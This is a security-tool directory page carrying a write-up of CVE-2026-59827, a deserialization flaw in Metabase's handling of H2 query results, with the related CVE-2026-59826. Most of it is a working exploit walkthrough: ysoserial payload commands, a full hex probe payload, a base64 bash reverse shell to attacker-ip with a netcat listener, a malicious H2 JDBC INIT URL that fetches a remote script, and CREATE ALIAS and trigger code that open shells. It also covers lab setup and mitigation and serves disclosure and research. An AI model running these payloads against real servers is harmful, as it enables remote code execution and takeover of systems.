Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-59827 — Blog on CVE-2026-59827, Unsafe H2 query ouput deserialization | Kitploit
Tools/GitHubGitHub/c0gnit00/cve-2026-59827
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubc0gnit00/cve-2026-59827

CVE-2026-59827

Blog on CVE-2026-59827, Unsafe H2 query ouput deserialization

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-59827 — Unsafe Deserialization of H2 Query Results in Metabase

GHSA-w95f-x9v9-wv36 | CVSS 9.9 Critical | CWE-502: Deserialization of Untrusted Data

eror loading image

Overview

CVE-2026-59827 is a critical remote code execution vulnerability in Metabase, the popular open-source business intelligence and data analytics platform. The flaw stems from how Metabase handles query results returned by an H2 database connection. When a native SQL query against an H2 source returns a column typed as OTHER, Metabase deserializes the raw bytes of that column into a Java object without performing any validation. An authenticated user who can run native queries is therefore able to smuggle a malicious serialized payload into the result set and trigger arbitrary code execution on the server hosting Metabase.

The vulnerability was assigned a CVSS score of 9.9, reflecting the minimal preconditions required and the full server-side code execution that results from successful exploitation.


Metabase Versioning Scheme

Metabase ships two parallel edition tracks from the same release cycle. The open-source edition uses version numbers prefixed with 0 — for example, v0.61.1. The enterprise (commercial) edition uses version numbers prefixed with 1 — for example, v1.61.1. Both editions share the same underlying codebase and are released together, so a vulnerability that affects v1.61.0 equally affects v0.61.0. Throughout this write-up, version numbers are written using the enterprise 1.xx prefix, but every affected version maps directly to its 0.xx open-source counterpart by replacing the leading 1 with 0.


Affected Versions

Both CVE-2026-59826 and CVE-2026-59827 were disclosed together in July 2026. They share overlapping version ranges but have different patch points.

CVE-2026-59827 — Unsafe Deserialization (this blog)

The vulnerable enterprise releases are 1.58.0 through 1.58.14, 1.59.0 through 1.59.11, 1.60.0 through 1.60.6.2, and 1.61.0 through 1.61.1.3. The corresponding open-source releases are 0.58.0 through 0.58.14, 0.59.0 through 0.59.11, 0.60.0 through 0.60.6.2, and 0.61.0 through 0.61.1.3.

An internal patch was first issued as 1.61.1.4 (enterprise) and 0.61.1.4 (open-source). The first publicly available fixed release in the 1.61 line is 1.61.2 (v1.61.2.x / v0.61.2.x). Metabase Cloud instances were patched automatically by the provider.

CVE-2026-59826 — Unsafe H2 Connection Properties (related)

The vulnerable enterprise releases are 1.55.0 through 1.58.15.0, 1.59.0 through 1.59.11, 1.60.0 through 1.60.6.2, and 1.61.0 through the entire 1.61.1.x line. The first fully patched public release is 1.61.2 (v1.61.2.x / v0.61.2.x). The scope of CVE-2026-59826 is broader, reaching back to the 1.55 release line, reflecting the longer-standing presence of the insufficiently validated database-creation code path it exploits.


Background: Java Deserialization

Java's serialization mechanism allows an object in memory to be converted into a flat stream of bytes, stored or transmitted, and then reconstructed later by calling ObjectInputStream.readObject(). The critical property of this mechanism is that reconstruction executes code. Class constructors, readObject overrides, and finalizers all run during deserialization. If the bytes being read come from an untrusted source, an attacker can craft them to trigger arbitrary method calls through a sequence of existing, legitimate classes already loaded in the JVM. These sequences are known as gadget chains.

Gadget chains do not require introducing any new code to the application. They exploit the wiring of existing library classes whose normal methods, when called in the right order during deserialization, eventually reach a sink such as Runtime.exec(). Tools like ysoserial exist specifically to generate these payloads for widely deployed libraries such as Apache Commons Collections, Spring Framework, and others.


Background: H2's OTHER Type

H2 is a pure-Java embedded relational database. It defines a special SQL column type called OTHER that acts as a pass-through for arbitrary Java objects. When H2 stores a value in an OTHER column, it writes the bytes produced by Java's ObjectOutputStream. When it reads the value back, it calls ObjectInputStream.readObject() to reconstruct the object. The raw serialized bytes can also be supplied directly in a query using H2's hexadecimal literal syntax:

root@kitploit:~
SELECT CAST(X'ACED0005...' AS OTHER); 
-- or 
SELECT X'ACED0005...'::OTHER;

The prefix ACED followed by 0005 is the Java serialization stream magic number and protocol version. Any hex string beginning with ACED0005 is a Java serialized object stream.

When H2 processes this query, it deserializes the hex bytes on the database side. The resulting object is then passed back to the calling application through the JDBC ResultSet. If the application inspects the column value — for example, to format it for display — it may trigger additional processing. This is exactly what Metabase does in the vulnerable code path.


How the Vulnerability Works

The Vulnerable Code Path

Metabase receives the JDBC ResultSet from the H2 driver and inspects column metadata to decide how to render each value for the user. When it encounters a column with the JDBC type Types.OTHER (also reported as JAVA_OBJECT), the vulnerable versions of Metabase attempt to deserialize the raw bytes in order to produce a displayable representation. This deserialization call, ObjectInputStream.readObject(), executes without any whitelist filtering or class validation.

The sequence of events is:

  1. The authenticated attacker opens the Metabase SQL query editor and targets a connected H2 database. The sample database is sufficient.
  2. The attacker submits a native SQL query that returns a column of type OTHER containing a crafted serialized payload.
  3. H2 processes the query and returns the raw bytes as a JAVA_OBJECT column in the ResultSet.
  4. Metabase's result-processing pipeline encounters the OTHER column type and calls readObject() on the bytes.
  5. The gadget chain embedded in the payload fires, reaching Runtime.exec() and executing the attacker's command as the OS user running the Metabase process.

The Fix

The patched versions resolve the issue by inspecting JDBC result metadata before attempting any deserialization. If a column is typed as JAVA_OBJECT, Metabase now rejects it outright rather than trying to parse it.


Constraints and Attack Surface

What Access Is Required

Exploitation requires authentication. The attacker must hold a Metabase account with native query execution permission on an H2-backed database. Administrator accounts satisfy this by default. Regular user accounts can also satisfy this requirement if an administrator has granted them the native queries data permission for the relevant database.

H2 as a Data Warehouse Was Already Removed

Metabase removed support for adding H2 as a new data warehouse connection in version 0.46.6.4, released in 2023. Attempting to register a new H2 connection through the admin interface returns the error "H2 is not supported as a data warehouse." This removal was a response to earlier H2-related vulnerabilities and was intended to eliminate the risk of connecting to attacker-controlled H2 instances.

However, H2 removal from the data warehouse connection UI is not the same as H2 removal from Metabase. Two H2 databases remain present in every default Metabase installation.

The first is the application database. When Metabase is not configured to use an external database such as PostgreSQL or MySQL, it stores its own metadata — questions, dashboards, user accounts, and settings — in an H2 file at /metabase-data/metabase.db.mv.db. This database is not directly queryable through the Metabase UI.

The second, and more directly exploitable, is the sample database. During initial setup, Metabase creates an H2 database pre-populated with example data and makes it available as the "Sample Database" connection. This connection is present by default in every Metabase instance and is the primary attack surface for CVE-2026-59827. It is a live H2 connection that users can run native SQL queries against, and the connection string visible in the admin panel points to file:/plugins/sample-database.db.

Write Permission on the Sample Database

The sample database enforces read-only access for all users, including administrators. The Metabase database settings page at http://localhost:3000/admin/databases allows write access to be granted on connected databases, but the toggle is not available for the sample database. This means that Data Manipulation Language statements such as CREATE, UPDATE, and DELETE cannot be executed against the sample database through normal means.

Metabase admin database settings showing write access controls

This restriction matters because it closes off certain alternative attack paths. For instance, the H2 engine supports a CREATE ALIAS statement that can define a Java function and call it:

root@kitploit:~
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
} $$;

Because write access is locked on the sample database, this DDL path is unavailable. The deserialization path through SELECT CAST(X'...' AS OTHER) is the viable exploit vector precisely because it requires only a SELECT statement, which is permitted for all users.


Setting Up a Vulnerable Environment

To test this vulnerability in a controlled lab environment, run a Metabase version in the affected range:

root@kitploit:~
docker run -d -p 3000:3000 \
  --name metabase-vulnerable \
  -v metabase-data:/metabase-data \
  metabase/metabase:v0.61.1

Metabase will initialize at http://localhost:3000, create its H2 application database at /metabase-data/metabase.db.mv.db, and automatically provision the sample database. Complete the initial account setup to obtain an authenticated session. After setup, navigate to the SQL editor for the Sample Database. This is the execution environment for the exploit.


Exploiting the Vulnerability

Step 1 — Confirm Deserialization Is Active

Before attempting command execution, confirm that the deserialization path is reachable. The URLDNS gadget chain from ysoserial generates a payload that, when deserialized, makes an outbound DNS lookup to a specified hostname. It does not execute any system commands, making it a safe probe to establish that readObject() is actually being called.

Generate the payload:

root@kitploit:~
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'

This produces a hex string beginning with aced0005. An example of the hex output from a captured payload:

root@kitploit:~
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78

Step 2 — Run the URLDNS Probe Query

Open the SQL editor in Metabase against the Sample Database and run the following, substituting the hex string generated for your OAST hostname:

root@kitploit:~
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;

Monitor your OAST listener. Receiving a DNS query from the Metabase server's IP address confirms that readObject() was called and deserialization is occurring on the OTHER column.

DNS probe query submitted in Metabase SQL editor DNS callback received in OAST listener confirming deserialization

Step 3 — Identify a Working Gadget Chain

Which gadget chain achieves code execution depends on which Java libraries are present on the Metabase server's classpath. Try the following chains in sequence:

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin

Convert each binary payload to the hex format required by the SQL query:

root@kitploit:~
xxd -p payload.bin | tr -d '\n' > payload.hex

Then submit using the same SELECT X'...'::OTHER pattern in the Metabase SQL editor and observe whether the command output is reflected in any error message or response.

Step 4 — Execute the Command Execution Payload

Once a working gadget chain is identified, replace the test command with the desired payload. For a reverse shell, encode the command in base64 to avoid shell quoting issues:

root@kitploit:~
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64

Generate the ysoserial payload with the base64-decoded execution pattern:

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections1 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
  > payload.bin

xxd -p payload.bin | tr -d '\n' > payload.hex

Set up the listener before submitting the query:

root@kitploit:~
nc -lvnp 4444

Then paste the hex into the SQL editor:

root@kitploit:~
SELECT X'<paste hex string here>'::OTHER;

When Metabase processes the result set and encounters the OTHER column, readObject() fires, the gadget chain executes, and the reverse shell connects back.


Troubleshooting

If InvalidClassException is raised, the gadget chain depends on a library version that does not match what is present on the server. Try a different chain.

If nothing happens after submitting the query, either the instance is already patched, JEP 290 serialization filters are active and blocking the gadget chain, or the OTHER column type is not being processed by the vulnerable code path.

If ClassNotFoundException occurs, the required library is absent from the classpath entirely. Try a different chain.

On UI output, you will only get error We're experiencing server issue:

error loading image

Relation to CVE-2026-59826

CVE-2026-59826 (GHSA-r6x2-rchx-q9g9) is a related vulnerability disclosed at the same time. While CVE-2026-59827 exploits deserialization through query results, CVE-2026-59826 targets a separate code path: the database registration endpoint. An authenticated administrator can submit a crafted H2 JDBC connection URL containing an INIT parameter that is executed when the connection is established. Because the validation applied to the INIT field was insufficient on certain database-creation and database-edit code paths, an attacker with admin access can achieve RCE through the connection string rather than through a query.

A malicious INIT connection URL takes a form such as:

root@kitploit:~
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"

The SQL file served by the attacker can define and call a Java alias that executes shell commands:

root@kitploit:~
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(
        Runtime.getRuntime().exec(command).getInputStream()
    ).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')

Alternatively, the INIT string can embed the trigger directly without a remote file fetch:

root@kitploit:~
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}')
$$--=x

Both CVE-2026-59826 and CVE-2026-59827 share the same root cause — insufficient hardening around H2's server-side execution features — but differ in the specific code paths exploited and the required privilege level.


Mitigation and Remediation

Upgrade Metabase to one of the following patched versions: 1.58.15, 1.59.12, 1.60.6.3, or 1.61.1.4. These releases modify the result-processing pipeline to inspect JDBC column metadata and refuse to process any column reported as JAVA_OBJECT or OTHER type, preventing the deserialization call from occurring.

If an immediate upgrade is not possible, restrict native query permissions. Remove the native query execution permission from all non-administrative users for H2-backed databases, including the sample database. This reduces the attack surface to administrator-level accounts only. Separately, consider whether the sample database is needed at all; disabling or removing it eliminates the H2 attack surface for this CVE entirely.

For self-hosted instances using H2 as the application database, Metabase's own documentation recommends migrating to PostgreSQL or MySQL as a more robust and secure application database backend.


References

  • NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-59827
  • GitHub Advisory GHSA-w95f-x9v9-wv36: https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
  • OSV entry: https://osv.dev/vulnerability/GHSA-w95f-x9v9-wv36
  • ysoserial payload generator: https://github.com/frohoff/ysoserial/releases
Download Tool